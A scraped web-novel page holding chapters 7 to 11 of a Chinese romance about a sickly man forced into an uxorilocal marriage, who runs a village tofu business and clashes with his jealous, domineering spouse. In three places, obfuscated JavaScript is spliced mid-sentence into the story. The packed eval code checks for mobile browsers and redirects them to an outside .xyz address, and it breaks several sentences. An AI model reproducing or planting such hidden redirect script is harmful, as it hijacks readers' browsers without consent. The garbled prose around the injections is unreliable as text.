《被逼入赘的他拒绝吃软饭》 7. 好大的醋味 不同于集市上看热闹的外村人,围在杜家门口的下西河村民们,都很沉默。 杜柏承也是下了马车,才发现村长和几位有名望的老者都在。 年轻的男男女女瞬间围拢过来,声音洪亮,齐刷刷地和杜柏承打招呼:“东家!你回来了!”看向邬家人的目光,都很不友善。 阿诚和阿信对视一眼,不着痕迹护在邬夜两侧。其余挑着回门礼的邬家男丁,也都默默握紧了扁担。 邬夜扫了眼村民们身上粗糙廉价却非常干净的衣服和鞋,后知后觉这些人并不是来看热闹,而是来给杜柏承撑腰的。 恍惚想起三日前他来迎亲时,带到这村里的喜钱和喜饼,似乎只遭到了幼童的稀罕和哄抢,脸上写满贫苦的大人们却只是站在远处冷冷地看,就连稍大一些的孩子,都不肯要他的东西。 当时他满心满眼都是接自己的意中人回家,脑子里除了畅想婚后幸福美好的未来,再也容不下别的。 如今细想,才发现这村子里的人,对自己的敌意居然这么深。 可是…… 为什么呢? 据邬夜所知,杜家在村里的人缘虽不错,但也因为贫穷和对科举的执着,遭尽嘲讽奚笑。 就在半年之前,杜柏承的哥嫂甚至因为无法在村里借到一粒米,迫不得已要卖掉唯一的儿子。 不过半年而已,当初连一粒米都不愿借的人,怎么就肯如此团结?护着杜柏承了呢? 是因为杜柏承大方,不仅无条件公开了豆浆方子,还愿意带着他们一起做豆腐发家致富? 还是他们怕失去了杜柏承这棵摇钱树,所以才与自己如此敌视? 只是…… 都早干什么去了呢? 当初他耍手段逼赘的时候,也没见他们中间有哪个好汉敢站出来。 现在尘埃落定,又一个个出来装葱了?在杜柏承面前刷存在感了? 为的怕不是那豆腐生意。 想想就令人作呕。 邬夜冷冷回视这群妄图想威慑住自己的穷酸村民,气场强大毫不退让。心里鄙夷他们是见风使舵的吸血虫,面上更是不屑。 打定主意,非把这群恶心的跳蚤从杜柏承身上扒下去不可。免得自家傻子被人卖了,还替别人数钱。 但想归想,杜柏承和村长等说话的时候,邬夜没有随意插话,甚至还从与杜柏承并肩而站的位置,往后退了半步。 为的,只是自家夫君的脸面。 虽然包括杜柏承在内的很多人,都认为他强娶豪夺并非良配,对杜柏承除了利用没有一分真心。 但天地日月鬼神都可以作证,他邬夜对杜柏承是实打实的真心诚意,无论是爱护还是尊重,都不会吝啬半分。 “……生意的事等午饭过后,我们咳咳~在豆腐坊说。” 人群散去。 邬夜侧身为杜柏承挡住迎南而来的风,扶住他道:“你这豆腐生意别做了,我——”话未说完,忽被一声“伯承哥哥”打断。 邬夜横眉一个眼刀扫过去,果然是那个比煤还黑的木匠阿满。 这个贱人! 居然敢当着自己的面,这么亲密的喊杜柏承哥哥,真该死! 邬夜心里暗骂,面上却是霜颜如雪,气质出尘。如白皑皑遥远的雪山般,令人不敢近距离逼视。 阿满一个哥儿,不仅生的黑,因着自小干体力活的关系,还四肢发达很是健壮。不知道的人,都把他认作男人看。 他本就自卑,在邬夜这种神仙似,外貌和家世都顶顶好的哥儿面前,更是自惭形秽。 阿满被邬夜横的僵在原地,想过来又不敢,唇齿微张瞧杜柏承。 “什么事?”杜柏承声音温和。 阿满快速扫了眼邬夜,也不敢和人家对视,咽咽唾沫道:“你要的家具和那几张图纸上的东西,我都做出来了,过来和你说一声。” 碍于邬夜的视线太具压迫感,阿满的声音越来越低:“不知道你什么时候有时间来看看,有不合适的地方,我好赶快改。” 好嘛,这个犯贱的东西不仅敢当着自己的面如此亲热的喊杜柏承,居然还敢把杜柏承往他家里勾。 这下邬夜再也忍不住,扶着杜柏承胳膊的手用力握紧,微微侧头用只有彼此才能听到的声音,咬牙切齿骂了句:“贱人!” “……”杜柏承面色一凝,很是警告的看了眼邬夜后,对阿满道:“辛苦你了。咳咳~下午我去看。” 等阿满离开,这才问邬夜:“你好端端的犯什么病?” “那他当着我的面,对你含羞带怯,眉来眼去,勾勾搭搭,又是犯的哪门子贱?” 杜柏承皱着眉头刚要开口,便听一声带着哭腔的“三叔!”响彻耳边。紧接着,一颗人肉炮弹直冲怀里而来。 杜柏承非常熟练地后撤一步,用一个可以接住来人又不会被撞倒的姿势站稳。但等了半天,那熟悉的炮弹也没有落到怀里来。 “呜呜~”华章大叫:“三叔!” 杜柏承扭头,发现他那便宜侄儿,已被邬夜半路拦截提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“给娘请大夫了吗?”邬夜和大哥打过招呼,问。 在前面闷头带路的杜光宗摇摇头,“她这是心病,就算神仙来了也没用。” “……”邬夜抿唇,到了门口停下脚步,不知道要不要进去。 “怎么了?”杜柏承问。 大哥已经撩起碎布帘子进了屋,邬夜凑到杜柏承耳边小声道:“我怕娘看到我,心病会加重。” 说完低头看脚尖。 本以为按惯例,杜柏承这厮得给他来一句:你逼我入赘的时候,就没想过我娘有心病? 却不想杜柏承居然什么都没说,只是轻轻牵住了他的手。 “唉?” 邬夜愣怔,亦步亦趋跟着杜柏承进屋。 等回过神来,连忙偷偷用力,把那虚虚牵着自己的五根手指头,一根接一根,全都牢牢攥紧了。 8. 就不吃软饭 “都别哭了。” 撩帘进来的杜光宗疾步走到床边,拍拍妻子李玉柔的肩,对卧病在床的杜庭芳压低声音道:“娘,人马上就进来了。” 李玉柔连忙扯着袖子拭泪。 杜庭芳双目红肿抱着杜父的牌牌,捂着心口很是抗拒地在被子里翻个身,声音嘶哑道:“让他滚!我不见!我不认!呜~我可怜的儿啊~” 杜父已故一年零两个月一十八天,她还没有走出悲痛,也依然穿着孝衣。 听人说朝廷预备着要打仗,怕人手不够,所以降了旨意,未婚男女无论死爹还是死娘,只准守孝一年,之后必须得由家人或官府指婚相配。 这样有违人伦的旨意自然到达不了如此偏僻的小山村。 按杜庭芳的意思,家中子弟,必须得给杜父守满三年孝期才行。 却不想中途出了逼赘这糟心事…… 本来她还想和邬家商量,让杜柏承给杜父守满三年,一来全了孝道,二来也是想拖个两年,盼望事情能有转机。 但邬夜的舅舅是个霸道的。 不仅深更半夜打上家门,还扣了顶抗旨不尊的大帽子在杜家头上,一番威逼利诱加恐吓,硬生生把杜柏承抢了去。 而杜柏承一成婚,家里的哥嫂和几个侄儿也不适合再守孝,否则不伦不类传的就更难听了。 如此。 杜庭芳想给杜父守孝三年的坚持彻底落空。 对邬夜的怨恨,也由一份,叠加成了两份。 “娘~” 李玉柔明白自家婆婆心里的难受与疙瘩,哽咽着劝:“你小点声,我们得想想三弟的难处。” 说话间听得门帘掀起,李玉柔忙止声拉住床帐,扯了个比哭还难看的笑容回过身,就瞧杜柏承和邬夜红装相配,手牵手从门外走了进来。登时瞪大了一双美眸,连腮边的泪水都忘了擦。 不止她,杜光宗等也都很是惊讶的看着夫夫俩,表情活像见了鬼。 邬夜被看得很不好意思,恋恋不舍和杜柏承松开手,得体有礼上前问好。 “大哥。” “大嫂。” “二哥。” 虽然已经见过数次,但李玉柔还是会被这位弟媳格外体面的好样貌晃到眼睛。 她侧过身快速整理好自己狼狈的脸,从袖中掏出一根不是很贵重,却很精致新颖的深绿色琥珀发簪,递给邬夜道:“这是我和你大哥给你的见面礼,不是什么值钱的东西,你别嫌弃。” 李玉柔的态度算不上热情,也绝不冷漠,见面礼更是能力范围内所能拿出的最好的。 只是从她那绯红的眼尾和紧紧握在一起的手指来看,似乎还带了些忍辱负重的意味。 邬夜习武之人,早将他们在屋内的那番动静听得一清二楚,面上只做不觉,双手接过道谢说:“谢谢大哥和嫂嫂,这礼物我很喜欢。” 而二哥杜思康则一点都不给邬夜面子,不仅偏过脑袋冷哼一声:“虚伪!”还转着轮椅背过了身,生怕别人不知道他对邬夜这个弟媳有意见。 邬夜和他舅舅的手段,杜家人都是实打实领教过的。 李玉柔怕邬夜面上和气,背地里却去找杜柏承撒气,忙打圆场说:“夜哥儿别理你二哥,今早和你大哥绊了几句嘴,现在还不高兴着呢。他不是单独对你这样,他就这个臭脾气,对谁都一样。” 却不想杜思康一点都不领情,也一点都不管杜柏承死活,猛地拔高声音道:“我就是看不惯他!” 这下邬夜就算想给他台阶也不能了,眸子一眯刚要开口,杜柏承先一步出声问。 “你是看不惯他?还是看不惯我?咳咳~你要想打我的脸,你就直接照着我来,别拐弯抹角的。” 说着还慢悠悠走过来踹了二哥轮椅一脚,用很是欠扁的语调说:“我还看不惯你呢~” “杜柏承!” 杜思康没想到杜柏承会护着邬夜,照着他就是一拳。 阴沉着一张胡子拉碴却依然很是俊朗的脸,咬牙切齿道:“没良心胳膊肘往外拐的东西!你给我站那别动!看我不捶死你!” 杜柏承是傻了,才站那给他捶。反手捶了二哥两拳,蹭的跑开了。气的杜思康转着轮椅吭哧吭哧就追。 但简陋的黄土屋就那么大,兄弟俩你追我跑光在大哥身边晃悠了,边斗嘴边划拳,最后谁也没打着谁,全落在无辜的大哥身上了。 杜光宗深呼吸,让他们:“消停点,别闹了。” 没人听。 杜光宗抬手照着兄弟俩的后脑勺就是一人一巴掌,手劲太大,差点没把两个弟弟的脑袋扇飞出去。 “呼~” “嘶~” 终于消停下来的兄弟俩表情统一,倒吸一口凉气齐齐抱着后脑勺看李玉柔,泪眼汪汪无声告状:嫂嫂~你看大哥呀! 李玉柔失笑,有些无奈道:“他们兄弟打闹惯了,夜哥你别见笑。” 有了这么一出,尴尬的气氛已经消散,邬夜笑笑说不会。扫了眼遮挡的严严实实的床帐问:“娘怎么样?要不要请个大夫来看看?” “不用,娘这是老毛病了,缓一缓就自己好了。” 邬夜也知道自家婆婆不愿看到自己,未免真把老人家气出个好歹,体贴道:“那我们出去说吧,免得吵到娘。”又嘱咐杜柏承:“娘身边不能没人,夫君你就留下照看吧,有事喊我。” 不想杜柏承刚在床边坐下,言说病得起也起不来的便宜娘亲,一把抱住了他。 “呜呜呜~我可怜的儿啊~我可怜的儿~那坏东西有没有把你怎么样?啊?快给娘好好看看!” 待确认杜柏承好胳膊好腿,没丢鼻子少眼,足足提心吊胆了三天三夜的杜庭芳终于松了一口气,抱着怀里的牌牌又开始骂唱起来。 “你个死老头子走的早哎!丢下我们孤儿寡母任人糟践啊~任人糟践~” 杜庭芳今年也就四十多岁,两鬓已经斑白,眼尾布着沟壑很深的皱纹,平日里偶尔一笑,眉目间都全是苦色,如今更不必说。 杜柏承默默无言看着她,不禁想起自己母亲雍容华贵的模样。 两相一比,差不多的年纪,却是一个天上一个地下。 不知是不是用着原主的身体,看着杜庭芳伤心哭泣,他的心里居然控制不住的升起了一抹儿子对母亲的心疼与保护欲。 杜柏承还来不及把自己从那莫名其妙的血脉羁绊中摘出来,嘴巴已经先一步替他的心开了口。 “咳咳,你不要再哭了,伤眼睛。” 相处半年,杜柏承还是无法将那声“娘”叫出口,正想着该如何有效安慰,杜庭芳自己止住了哭声,流着眼泪拉住了他的手。 “儿啊,其实慢慢想想,那坏东西逼你入赘……也有他的难处。” 杜柏承:??? “你想啊,他一个哥儿,为了救你,当众给你渡气,连清白都毁了,确实也只能跟你了对不对?” 杜柏承:“……” “但咱穷,人家有钱,还有个当大官的舅舅,咱要是让人家嫁进来,也不可能,但你说救命之恩也不能不报答吧?所以……呜~所以只能委屈你了……” 杜庭芳紧紧握住杜柏承的手,努力想着宽慰他的话语:“这是没有办法的事,你要自己往开了想,千万!千万不能再做傻事了,好不好?” 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她心爱的幼子,早已在半年前的那个雨夜,悄无声息永远地离开了她。 如今占据这具身体的自己,不过就是一缕异世幽魂罢了。 很可能用不了多久,随着自己灵魂与原主肉.体的逐渐融合,她连本该属于自己儿子的样貌,都无法再看到。 而偷偷占据这具身体的自己,不仅永远地失去了前世的家人朋友,这辈子的家人,也都不完全属于他。真真是除了一个虚无缥缈的灵魂,一无所有啊。 杜柏承垂眉掩住眼中思绪,轻咳几声答应便宜娘亲:“我会好好爱惜这具身体,不会让你伤心的。” 杜庭芳不知他话里深意,只含着眼泪欣慰点头:“好孩子,你能这么说,呜~娘就放心了。” 如此,杜柏承也不用再绞尽脑汁去想该怎么安慰杜庭芳。 本身他能好好爱惜自己,对杜庭芳这个当娘的来说,就是最大的安慰。 用过午饭。 杜柏承要去豆腐坊一趟。 邬夜和华章两个跟屁虫同行。 路上,邬夜终于有机会和杜柏承聊一聊生意上的事。当然不是商量,而是把自己早就做好的决定,说给他听。 “早说了你身子不好,就不要再劳心劳力,我又不是养不起你。不说别的,光是彩礼,也足够你衣食无忧一辈子了,何必要放着好日子不过,非得找苦吃?” “你把豆腐方子给我,再把那个什么豆腐坊散了,安心在家把身体养好了,比什么都强。” “以后这豆腐就在咱们家的酒楼自产自销,不仅省了很多不必要的人工,节省了本钱,也有利于方子保密。” “你看看现在你手底下那些人,有一个靠谱的吗?不是想偷学你的豆腐方子,就是想坐着你的顺风车发大财,哪个真心对你?现在都不用你的方子泄出去,信不信只要我这边订单一断,他们都得作鸟兽散?” “至于分红……” 邬夜停下脚步,拢紧杜柏承身上的狐裘披风,笑笑说:“全给你。” “包括邬家所有酒楼的其他收入,也全都是你的。这个不用走家里公账,我说了就能算。你要闲不住想做生意,那等你病好了,我也会抽空一点一点教你。如何?” 静静听他说了半天的杜柏承:“说完了?” 邬夜颔首:“你也可以补充。能力范围内,我可以许你我能给的一切。” 这话真是又大方,又让人充满了无边的美好幻想。比什么甜言蜜语,还要动听十倍。 杜柏承在邬夜很是期待的目光中,轻咳几声笑笑说:“谢谢。你的好意,我心领了。” 9. 扮猪吃老虎 邬夜不懂杜柏承为什么非要放着衣食无忧的好日子不过,去吃苦? 就像杜柏承也不明白,邬夜为什么听不懂人话,非要追着自己喂软饭? 邬夜面色难看:“我都是为你好,你怎么这么不识好歹?” 杜柏承毫不领情:“不需要。” “好!有骨气!”邬夜咬着细白的牙齿,点点头道:“赶明儿我就停了你的单子!看你那破豆腐卖给谁!” 杜柏承才不受他这威胁,有恃无恐道:“当然是卖给你的对家。”说完忽然想起一件事。 ——当初邬夜的迎宾楼和对家的邀月阁竞争激烈。处于下风的迎宾楼撑不住快要关店之际,杜柏承带着新奇好吃的豆腐和菜谱上门。 成功让迎宾楼在一夜间起死回生,迅速压倒邀月阁占据上风后,不止邬夜想买他的豆腐方子,邬夜的对家也想买。 邀月阁的掌柜曾带着厚礼,亲自登门拜访了他好几次。 但因为杜柏承和邬夜已经签了半年的买断协议,所以不仅没卖方子,还信守承诺,连豆腐也没卖给邀月阁一块。 之后邀月阁很快落败,但因为其背后的东家实力雄厚,到现在还在苦苦支撑。 如果非要说杜柏承除了邬夜还招惹过什么比较厉害的人物,那这邀月阁也可以算一个…… 杜柏承又想到那个在集市上一闪而过的虎靴男,正思考该从何处开始调查,邬夜一把扯住了他的手,声音很是威胁道:“你敢!” 杜柏承回神挥开他:“你看我敢不敢。” 夫夫俩话赶话,一言不合就吵架。 邬夜这暴脾气,欺身又想来揪扯杜柏承,但到底还记得这是哪儿,也因着之前杜柏承的反抗和警告,不想再被这冤家伤,也不想伤了这冤家。 咬咬牙努力克制道:“你给我等着,看回家怎么收拾你。” “哦~忘了和你说,我今天不回去了,”杜柏承用很认真的语气,说出十分欠扁的话:“我要住几天娘家。” 邬夜都被他气笑了,也顾不得别的,质问道:“谁刚成婚三天就住娘家?也不怕被休!” “那你现在就休了我啊。” “美死你呢。” 豆腐坊就在杜家屋后的老槐树旁,夫夫俩拌几句嘴的功夫,就到了。 那里有一方建村时就有的大水磨。 起初杜柏承用它来磨豆浆拿去集市上卖时,生意红火遭到了很多村民的抗议。 后来家中又是遭贼又是半夜失火,杜柏承公开了制作豆浆的方法,又带领村民一起做豆腐发家致富,意外频出的日子这才安宁下来。 那方大水磨,也发挥出了有史以来最大的功效。 豆腐坊占地不大,从外看是一间长长的平房。里面用门帘隔成三间,分别是煮浆晾豆腐皮、存货压豆腐、开会商议事情的地方。 建造和一应用具等,全由杜柏承一人出资完成。 邬夜显然有所了解,冷嗤道:“冤大头。” 杜柏承淡淡一笑,没反驳。 他初来乍到,父亡母弱。 靠外没有能两肋插刀的朋友,靠内没有能同舟共济的亲朋。 面上虽有两个哥哥,但一个光是养活这一家老小就耗尽了所有的心血和力气,一个则是意志消沉半分指望不上的残废。 除了靠自己,别无选择。 为了能在这片贫苦的土地上扎根立足,给将来打好地基。杜柏承公开了豆浆方子,建立了豆腐坊。 起先雇工时,杜柏承为了平息村民因自己发家太快,而产生的嫉妒与不平衡。让他们每家轮流出一人做工,每人每天给一百文。 这工钱放在如此偏僻穷困的小山村可谓天价。毕竟镇上一个二等伙计,每天的工钱也才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814217|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一百四十文。 适逢荒年连天,家家户户都吃不上饭。 杜柏承的豆浆方子令很多村民免于饿死。提供的做工机会,也极大地改变了村民们的生活水平。他也理所当然地成了下西河全体村民的大恩人。 在顺利解决掉因发家太快而惹出的麻烦后,杜柏承故意——将勤快的和懒惰的,嘴碎的和斤斤计较的,洁净的和不讲卫生的,这些种种脾性不合的人配成一组做工。 又将关系上有矛盾的,祖辈上有仇怨的,男女间有情债的等各类冤家聚在一起,故意拿油水大的工位让他们竞争。 很快便如他所愿,爆发了连环乃至大规模的矛盾和冲突,甚至还有拉帮结派的打架和斗殴。 之后杜柏承按计划,顺应人心,拟定了用工选举投票制度,成功将村民对自己的眼红和嫉妒,转化成了村民之间争夺利益的内部矛盾,自己则成了人人都要尊敬巴结的大东家。 一步步筛选到现在,能留在豆腐坊做工的,都是和谐友爱、勤劳机敏、踏实本分又很听指挥的优秀好劳工。 这些人与他的羁绊,也在随着时间推移不断加深。 邬夜说他是冤大头? 那是邬夜了解的还不够全面,也只看到了他的付出。却不知他从中图谋着怎样的长远未来,以及谋取到的实际利益又有多少。 单从今日村民们自发为他撑腰,胆敢以蝼蚁之躯,站在邬夜这个权贵之子的对立面,他付出的那点成本,就已经如数收回。 而不久的将来。 他会收回更多。 也将受益终身。 思及此,杜柏承嘴角勾起的弧度不禁更大。 而邬夜看他这没心没肺的模样,更是气不打一处来。恨铁不成钢想骂他蠢!又没舍得。 红唇轻抿憋了老半天,终于憋出一句:“笨蛋,看你没我怎么办。” 10. 他要住娘家 夫夫俩相携而来。 红装雪裘,都是一等一的精致容颜。 怎么看,怎么配。 在豆腐坊等待已久的村民们见了杜柏承,十分亲热的一拥而上。间或还不忘用眼睛和表情,审判邬夜。 邬夜看都懒得看他们这群乡巴佬一眼,牵着华章去看毛驴拉磨。 杜柏承成婚这三天,豆腐坊运行正常。 除了—— “那个迎宾楼的掌柜!” “说什么现在是一家人,先说一月一结的货款要变成半年一结,又说以后的豆腐皮也不给钱了,等他赚了再分红给我们……” “我听他越说越不像话,没忍住吵了一架……记得东家交代过不给货款就不给货,我就做主把货又拉回来了。” “因着和他家的买断书契还有一个多月,那些货也不能随便卖,现在都在干净的雪水里震着,我也不敢再乱做主了……” 说话的是村长的长子张大海,专门负责采购送货这一块儿。 为了这事,这两天他吃不好,睡不香。怕自己办事不力惹杜柏承不快,丢了活计。也怕得罪邬夜,把村里人的饭碗砸了。真真是忐忑不安极了。 垂着脑袋好不容易把事情说完,人也彻底焉了。 和他一起送货的几人也都站了出来,主动承担责任道:“这事也不全是大海的过,我们也都有一份。”说完也垂头耷脑,一起焉了。 却不想杜柏承一句责备也没,先是奖了他们每人一百文,然后才温言道:“做的不错。这事儿我会去和迎宾楼沟通,看看是个什么情况,咳咳~你们不用管了。” 张大海等本来还想着事情办砸,杜柏承不怪他们就很不错了,万万没想到还有赏钱拿。 又是高兴又是担心。 扫一眼院外的邬夜,低声揣测:“那迎宾楼的掌柜说翻脸就翻脸,会不会是邬公子的意思?” 邬夜背对豆腐坊而站。眼睛看着拉磨的驴,耳朵却时刻关注着杜柏承的一举一动。听闻此言刚要在心里头骂,听杜柏承开了口。 “不会。” 虽然杜柏承也很怀疑邬夜,毕竟这人不想自己做豆腐生意很久了,保不齐就在背后搞点小花招。但怀疑并不代表真相。 在事情弄清楚前,本着夫妻同为一体的原则,还是替邬夜辩白道。 “他家主要经营的是茶叶生意,酒楼这点微薄的利润只是附带,为了这点蝇头小利犯不上。” “其次迎宾楼虽然是他名下的产业,但咳咳~他每天杂事繁忙,经手的生意又那么多,不可能面面俱到。底下的人背着他善做主张,也是很有可能的。这件事,咳咳~我回去也会和他谈的。” 听他这么回护,邬夜面色稍霁。 大家也不好再说什么,只对视一眼在心里嘀咕:东家似乎和邬公子处得不错,以后对邬公子的态度,是不是得好点? 事情不多,不到两刻钟便处理完了。 杜柏承去看了看震在冰冷雪水里的豆腐,确认都没坏后,交代道。 “把这些豆腐,都切成三指宽,手掌长厚,大小均匀的块。先放进滚沸的盐水里泡两个时辰,再用冷却的草木灰厚厚盖住,埋一晚上。剩下的,咳咳,等明天再说。” 大家一听这话,就知道继好吃的豆浆、豆腐、豆腐脑、豆腐皮之后,又要出新品了。 叽叽喳喳围在杜柏承身边,七嘴八舌非常兴奋的问:“东家我们这是要做什么?会比顶顶好吃的神仙豆腐,还好吃么?” “咳咳,到时候你们就知道了。”杜柏承卖了个关子。问:“还有什么事吗?没有我就回去了。” 张大海作为代表,问出大家最最关心的问题:“东家你什么时候走?以后你住在南州府城,离这么老远,有点事咱们怎么联系啊?” 杜柏承:“咳~我这次回来先不走,这个以后再说。” “啊?那太好了!但邬公子能同意吗?” “咳咳~用不着他同意。” 大家闻言不由得再次嘀咕:东家和邬家公子的关系,到底是好?还是不好?怎么一会护着他?一会又不把他当回事呢? 从豆腐坊出来,杜柏承本是想去阿满家验收大婚前定做的家具和一些预备做豆腐干的器具。奈何心强命不强,这不中用的身子只是多说了一会儿话,便浑身发软只想往床上瘫。 只得临时改变主意,对被邬夜挤到一旁的华章道:“去和你阿满哥哥说一声,我身子不爽明天再去,让他别等着。” “嗯嗯~三叔我这就去。” 等华章跑远了,邬夜这才冷声问:“这就是你非要住娘家的理由?” “嗯?” “想背着我和那个黑煤贱货私会?!” 杜柏承眉头轻蹙,刚要开口,邬夜又抛来一句:“还是想背着我和那个死哭包——” “邬夜,”杜柏承冷声打断他,“我知道你有娘生没娘养,但也请你不要表现的这么明显,好吗?” 这话无异于怒火浇油。 邬夜一下就崩了:“杜柏承!你说我什么?你再说一遍?!” 杜柏承眉眼凉凉,如他所愿:“我说你有娘生没娘养。咳咳~听清楚了吗?要不要我再说一遍?还是干脆写在纸上,咳咳~挂在你的床头,裱起来日日夜夜给你看?” “你!”邬夜哪里受过这个,眼珠子都气红了,抬手就要给他一嘴巴。 杜柏承扫一眼他举在半空中,迟迟没有落下来的手,像看着一个笑话。 “怎么了?生气了?不高兴了?觉得被戳到痛处了?咳咳~受不了了?忘了你出口伤人的时候了?” “是不是这全天下的人,就你是个人,就你有自尊心,就你有思想,有感受,就你听不了难听的话。其他人都低你一等,活该被你以任何污言秽语对待,你以为你很高贵,是不是?” “我……”邬夜缓缓放下僵在半空中的手,被杜柏承数落得不止眼红,脸也红了。 “咳咳~我希望你明白,人人生而平等,尊重别人就是尊重你自己。我也希望你能记住,要想得到我的尊重,前提是你必须也得尊重我。不要以为就你长了张嘴,我也长了。再有一次,咳咳,别怪我不给你留情面。” 杜柏承说完扭头就走。 邬夜站在原地懵了半天,怎么想都没想明白,自己怎么就变成过错方了? 心里又怒,面上又燥,咬牙切齿追上去,倒要问清楚他这么护着那个贱人是为了什么! 一进大门,阿诚就过来道:“主子,时候不早了,我们该回去了。明儿一早,还要去青州呢。” 邬夜大婚休假三天,没有一天过得痛快。 本来很生气,现在又变成了委屈。 他握紧拳头缓了一口气,说:“知道了。”进屋寻杜柏承,瞧他已经没事人似的烤着火盆喝茶汤,还有说有笑的,真是砍死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814218|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的心都有了。 当着哥嫂们的面,邬夜也不想闹难堪,尽量用冰冷的语音,对杜柏承说出温和的话语:“时候不早了,我们去和娘亲打声招呼,该走了。” “啊?这就要走了吗?”李玉柔眼眶发红。坐在一旁的杜光宗和杜思康也都齐齐看向杜柏承,均面露不舍。 邬夜点点头:“我明天还要出门做生意,等回来了,再来看望娘亲和哥嫂们。” 刚进家门的华章还没来得及和自家三叔汇报任务结果,就听邬夜说要走了,登时扑上来一把抱住杜柏承,嚎啕大哭道。 “三叔你别走!三叔!你走了我怎么办!三叔!我求求你别走!三叔!呜呜呜~” 被这小崽子一搅,哥嫂们也再忍不住,纷纷背过身,用袖子拭起了泪。 虽然邬夜说的好听,但其实都知道。南州路远,邬家又是那样的高门大户。杜柏承一个入赘的病秧子,想再见一面,怕是难。 气氛伤感。 杜柏承这个当事人却很悠哉。 他翘着二郎腿,坐在家里那把唯一的藤木摇椅上。喝着手里热乎乎的茶汤,很是不疾不徐地对邬夜道:“你走吧,我在娘家住几天再回去。” 这话一出,除了兴高采烈的华章,所有人都愣了。邬夜的脸色,也在一瞬间变得很难看。 李玉柔看出邬夜的不高兴,忙吸吸鼻子走到两人中间来,推推杜柏承的肩膀打圆场道:“我的傻三弟,你这说的什么话?哪有刚成婚就分开的道理?传出去让人笑话。” “家里的事你不用担心,娘亲的病也有我照顾呢。天不早了,既然夜哥儿明天还有正事忙,你们也别耽搁了。要不回去得晚了,你又得受凉遭罪。” 杜柏承却道:“我都入赘了,还怕什么笑话?咳咳~”他抬头看邬夜:“再说他明天就要出远门了,我回去也是一个人,左不来都得新婚异地,咳咳~在哪儿不是住?” 这话说的,颇有种抱怨新婚丈夫出远门让自己独守空房的怨夫滋味。 邬夜刚才还被他气得要爆炸的心脏,立时软了软,声音也不由得柔和起来:“我最多走十天,马上就回来了。” 杜柏承:“那我也在娘家住十天,咳咳~等你回来,我就回去。” 邬夜觉得自己真是给他脸了!唇齿微张刚要发作,杜柏承忽坐起身来勾住了他的手指头,把他轻轻一拉扯到身边,让华章:“去给你三婶搬把椅子来。” “奥~” 邬夜本来一口恶气堵在喉咙口,被这一弄,不上不下真难受。 他站着没动,五指用力绞住某人的手指头,再给某人一记眼刀,让某人自己体会。 杜柏承一手任由某人报复性握紧,一手避开众人视线在某人的臀上拍了下,微微仰头对某人道:“听话。” 被如此顺毛的邬夜瞬间大脑空白,只觉得被杜柏承触碰过得地方一片火辣,又烫又烧连耳朵都红了。 心神不稳之际,又被杜柏承一拉,乖乖坐在了椅子上。 “我住娘家,一是为了做豆腐干,”杜柏承和邬夜解释:“二也是为了你——咳咳咳!” 邬夜愣怔,反应过来忙又是给他拍背,又是给他喂水,抿着唇问:“还为了我?” 待杜柏承缓过那口气,这才点点头道:“嗯,为了你和我的生意,可以做的更大。” 邬夜:“……” 话说刚才,自己到底在期待些什么? 11. 追着喂软饭 杜伯承住娘家的理由有很多。 其中最重要的一条,就是无论如何,他都不会放弃自己的事业。这不止是为了能逆风翻盘重回穿越前的人生巅峰。更是为了能拥有足够的实力,去对抗邬夜背后实力雄厚的家族,以及他那个位高权重过分霸道的舅舅。 杜柏承得留下来继续自己才起步的豆腐生意。 至于如何说服邬夜,也早已想好。 “豆腐干咳咳~不仅好吃,比起豆腐和豆腐皮,也更容易存放和运输。” “拿现在的天气来说,把豆腐干放入盐罐密封,保存十天半个月不成问题。就算到了炎热的夏季,只要保证环境干燥,豆腐干没有多余的水分,最少咳咳~也能放个六七天。” 杜柏承这话一出,大家的眼睛瞬间全亮了,尤其邬夜。 外人看他以哥儿之身插手家族生意,并与真正拥有继承权的兄弟们平起平坐还互相竞争,一副很受宠爱的样子。 但其实身为家主的父亲,给他的都是些例如酒楼、布庄、首饰铺等处于家族边缘,利润也很微薄的小生意。 有关茶叶经营方面的核心利益,半分都不肯让他染指。 邬夜长久以来的目标,都是争夺茶叶经营权。对于手中这些“食之无味,弃之可惜”的鸡肋,抱的态度也一直是不亏就行,从未真正上心过。 直到杜柏承拿着他的神仙豆腐和新奇菜谱出现—— 迎宾楼的一夜爆火,让邬夜尝到了酒楼生意的甜头。 但因着豆腐易碎不耐放的特质,目前能运输到的最远距离是南州府城。这还是在天冷的情况下走水路,并在路上不断换水的结果。 赚的是多,但消耗的成本也特别大。 那些再远一点的店面,就无法享受到这个红利了。 邬夜目前攥着家里所有的酒楼生意,大大小小加起来,共有一百零五家。当初由爷爷做主,这些店铺的盈利不归公账,全都是他的私财。 如果豆腐干真如杜柏承所说,存放时间久还适合远距离运输,那生意覆盖的范围就广了,所能获得的利益也将更加可观。 但豆腐干再好,终究不是豆腐。 邬夜心思百转间,还是想要那能一劳永逸的豆腐方子,道:“你也说了,以现在的天气,不过也就能存个十天半个月。而往年的南州就算是冬天,也不会下雪,更不会有这么冷的天。我的酒楼遍布江南,稍远些的地方,依然到不了。” 